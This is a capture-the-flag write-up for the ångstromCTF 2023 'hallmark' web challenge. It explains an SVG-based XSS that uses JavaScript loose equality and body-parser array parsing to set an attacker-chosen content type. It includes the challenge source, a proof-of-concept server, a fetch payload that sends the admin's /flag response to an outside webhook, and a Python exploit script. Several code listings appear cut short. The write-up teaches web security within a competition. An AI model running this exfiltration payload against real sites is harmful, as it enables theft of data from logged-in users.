<- back to writeups

hallmark - ångstromCTF 2023

April 27, 2023

A SVG XSS with an Express.js body-parser bypass.

Tags: ångstromctf web-exploitation xss

This past weekend, I participated in ångstromCTF 2023 with my team, Psi Beta Rho. I wanted to highlight one of the challenges I solved during the competition, hallmark, since I thought it was a nice challenge that showed some classic XSS techniques with some twists.


Image of hallmark prompt.'

The challenge provides a few source files with the following as the main application, index.js:

const express = require("express");
const bodyParser = require("body-parser");
const cookieParser = require("cookie-parser");
const path = require("path");
const { v4: uuidv4, v4 } = require("uuid");
const fs = require("fs");

const app = express();
app.use(bodyParser.urlencoded({ extended: true }));

const IMAGES = {
    heart: fs.readFileSync("./static/heart.svg"),
    snowman: fs.readFileSync("./static/snowman.svg"),
    flowers: fs.readFileSync("./static/flowers.svg"),
    cake: fs.readFileSync("./static/cake.svg")


const port = Number(process.env.PORT) || 8080;
const secret = process.env.ADMIN_SECRET || "secretpw";
const flag = process.env.FLAG || "actf{placeholder_flag}";

const cards = Object.create(null);

app.use('/static', express.static('static'))

app.get("/card", (req, res) => {
    if (req.query.id && cards[req.query.id]) {
        res.setHeader("Content-Type", cards[req.query.id].type);
    } else {
        res.send("bad id");

app.post("/card", (req, res) => {
    let { svg, content } = req.body;

    let type = "text/plain";
    let id = v4();

    if (svg === "text") {
        type = "text/plain";
        cards[id] = { type, content }
    } else {
        type = "image/svg+xml";
        cards[id] = { type, content: IMAGES[svg] }

    res.redirect("/card?id=" + id);

app.put("/card", (req, res) => {
    let { id, type, svg, content } = req.body;

    if (!id || !cards[id]){
        res.send("bad id");

    cards[id].type = type == "image/svg+xml" ? type : "text/plain";
    cards[id].content = type === "image/svg+xml" ? IMAGES[svg || "heart"] : content;


// the admin bot will be able to access this
app.get("/flag", (req, res) => {
    if (req.cookies && req.cookies.secret === secret) {
    } else {
        res.send("you can't view this >:(");

app.get("/", (req, res) => {
    res.sendFile(path.join(__dirname, "index.html"));

app.listen(port, () => {
    console.log(`Server listening on port ${port}.`);

Visiting https://hallmark.web.actf.co/, we are presented with a simple web application with the following interface.

hallmark interface

The application allows us to create a custom card either with Custom Text or with a few SVG options.

hallmark card with a heart svg

Notably, when one of the SVG options are selected the Content-Type of the page changes to image/svg+xml where as the Content-Type is text/plain whenever the Custom Text option is selected. This is important as the application uses the Content-Type to determine how to interpret the content of the card which is why the following XSS payload is interpreted as text and the JavaScript is not executed.

hallmark card with plain text of an XSS payload

The Vulnerability

Examining the source code a bit further, one area in particular stands out. The PUT endpoint for /card has a noticable vulnerability which is shown in the snippet below.

cards[id].type = type == "image/svg+xml" ? type : "text/plain";
cards[id].content = type === "image/svg+xml" ? IMAGES[svg || "heart"] : content;

In JavaScript, the == operating is used to perform loose equality comparisons, performing type coercion before turning a boolean, whereas === performs strict equality requiring both operands to be of the same type. An example of this property in action is shown below.

> ["image/svg+xml"] == "image/svg+xml"
> ["image/svg+xml"] === "image/svg+xml"

We can use this property to our advantage as this endpoint allows us to update a card to contain both the content and content-type that we can set. Particularly, if we can set the content-type to image/svg+xml and the content to a SVG file, we can then determine how our content is interpreted allowing us to can inject arbitrary JavaScript into the application to gain XSS. SVGs are a type of XML file, so we can use the script tag to inject JavaScript into the application.

body-parser Behavior

One important piece of information needed to exploit this vulnerability is to figure out how to pass an array into the value of type. The application uses the body-parser middleware to parse the request body into a JavaScript object. I was a bit unfamiliar with how body-parser acted as a middleware, so I decided to put together a proof-of-concept to see how it worked. I created a simple Express.js application that used body-parser to parse the request body and then print the result to the console.

const express = require('express');
const bodyParser = require('body-parser');

const port = 3000;
const app = express();

app.use(bodyParser.urlencoded({ extended: true }));

app.post('/test', (req, res) => {
    res.send('Hello World!');

app.listen(port, () => {
    console.log(`Server listening on port ${port}.`);

Running the above application and the following commands, we can see how body-parser parses the request body to produce the desired JavaScript object of an array.

node app.js 
Server listening on port 3000.
> curl -X POST http://localhost:3000/test --data "test=bruh"
{ test: 'bruh' }
> curl -X POST http://localhost:3000/test --data "test[]=bruh"
{ test: [ 'bruh' ] }


Now that we know how to pass an array into the type value, we can now exploit the vulnerability. One will notice that the /flag endpoint can only be accessed by the admin bot and is checked by the admin bot’s cookie. Attempting to exfiltrate the admin bot’s cookie would not lead to much success as the cookie is marked as HttpOnly and cannot be accessed by JavaScript. This is where a common XSS technique comes into play to bypass this restriction. We can make a request first on the /flag endpoint to get the flag and then send that as the body of another request to a server we control. This allows the HttpOnly restriction to be bypassed as the request to the /flag endpoint as the value of the cookie is not being accessed by any of the client-side scripts. This can be done with the following JavaScript.

fetch("/flag").then(res => res.text()).then(text => fetch("https://eoszwikoix9fv9q.m.pipedream.net", {
    method: "POST",
    body: text

Once we set up our own webhook to receive the flag, we are ready to perform the full exploit.


The full exploit requires first creating a card and getting the produced UUID to then update the contents of the card to contain the SVG with the JavaScript payload. I wrote the following Python script to perform the exploit and prints out the URL with the exploit set up.

import requests

url = "https://hallmark.web.actf.co/card"

resp = requests.post(url, data={"svg": "cake", "content": "a"})

uuid = resp.url.split("=")[-1]

payload = """<script>fetch("/flag").then(res => res.text()).then(text => fetch("https://eoszwikoix9fv9q.m.pipedream.net", {method: "POST", body: text}))</script>"""
svg = """<svg version="1.1" id="Layer_1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" x="0px" y="0px" viewBox="0 0 864 864" style="enable-background:new 0 0 864 864;" xml:space="preserve">""" + payload + """</svg>"""

r = requests.put(url, data={"id": uuid, "type[]": "image/svg+xml", "svg": "snowman", "content": svg})

print("Solve:", resp.url)

Once I submitted the output URL to the admin bot, I visited my webhook site to get the flag!

Hallmark solve!